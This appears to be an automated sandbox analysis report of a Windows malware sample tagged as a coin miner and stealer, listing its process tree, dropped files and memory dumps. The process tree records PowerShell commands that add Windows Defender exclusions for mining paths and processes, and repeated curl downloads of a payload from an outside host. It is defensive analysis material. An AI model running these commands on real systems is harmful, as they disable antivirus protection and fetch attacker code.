Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 16:50

General

  • Target
    2026-08-02_cad06470b57fbdea801878ed490482c1_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
  • Size 3.7MB
  • Sample260802-vcdeyach55
  • SHA256 aff25035403d3c59e0d0f49f7e1ead5e5516b23ab90984221517d6ffb7324532
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • cURL User-Agent 4 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-02_cad06470b57fbdea801878ed490482c1_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_cad06470b57fbdea801878ed490482c1_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Users\Admin\AppData\Local\Temp\.vaultd-1140497795
      C:\Users\Admin\AppData\Local\Temp\.vaultd-1140497795
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3476
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1596
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5828
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3876
      • C:\Windows\system32\curl.exe
        curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
        3⤵
          PID:5760
        • C:\Windows\system32\curl.exe
          curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
          3⤵
            PID:5388
          • C:\Windows\system32\curl.exe
            curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
            3⤵
              PID:4524
            • C:\Windows\system32\curl.exe
              curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
              3⤵
                PID:3188
              • C:\Windows\system32\curl.exe
                curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
                3⤵
                  PID:4172
                • C:\Windows\system32\curl.exe
                  curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
                  3⤵
                    PID:2924
                  • C:\Windows\system32\curl.exe
                    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
                    3⤵
                      PID:3500
                    • C:\Windows\system32\curl.exe
                      curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
                      3⤵
                        PID:248
                      • C:\Windows\system32\curl.exe
                        curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
                        3⤵
                          PID:1932

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 f7bbcfdbe12c11375cf4a3c2e3da7934322451d39a7b452e470c9ac60e637fcd
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 120f661670b9c9bcef6fa45b38c693ea6166a266146df31d722eb6ed8a06b221
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 168454fbd10bd6c316787e0630eccd8473426abab36526d9269a91f4bb86727e
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 c3eca1ec6f65452a3a8c3b797f54095da9dd00543cf6f3838b583d961f906869
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 287307bc450d600c2d2233396ad78e35ee001205892e0d2fc4efa4360072a1f1
                          • MD5 SHA1 SHA512 TLSH

                          StartupProfileData-NonInteractive

                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          • Size 1KB
                          • SHA256 a01fc63479ea1e38e1e45e4818c6b124b1329738b68af537cbbaf2229e3da860
                          • MD5 SHA1 SHA512 TLSH

                          .vaultd-1140497795

                          • Path C:\Users\Admin\AppData\Local\Temp\.vaultd-1140497795
                          • Size 4.6MB
                          • SHA256 c95678fdee6f14bd97849979b3f6082d759fbfb238c971eb5396f5fb4aeef1fc
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          __PSScriptPolicyTest_xsgpv4pf.vkd.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xsgpv4pf.vkd.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          memory/1596-77-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/1596-44-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-18-0x00000251DBD70000-0x00000251DBD8E000-memory.dmp

                          memory/3476-20-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-23-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-24-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-25-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-26-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-27-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-28-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-30-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-31-0x00000251DBBC9000-0x00000251DBBCF000-memory.dmp

                          memory/3476-21-0x00000251DBE50000-0x00000251DBE5A000-memory.dmp

                          memory/3476-22-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-35-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-19-0x00000251DBD90000-0x00000251DBE42000-memory.dmp

                          memory/3476-15-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-14-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-13-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-12-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-11-0x00000251DBCD0000-0x00000251DBCF2000-memory.dmp

                          memory/3476-8-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-76-0x00007FF88E1D0000-0x00007FF88EB74000-memory.dmp

                          memory/3476-7-0x00007FF88E35F000-0x00007FF88E360000-memory.dmp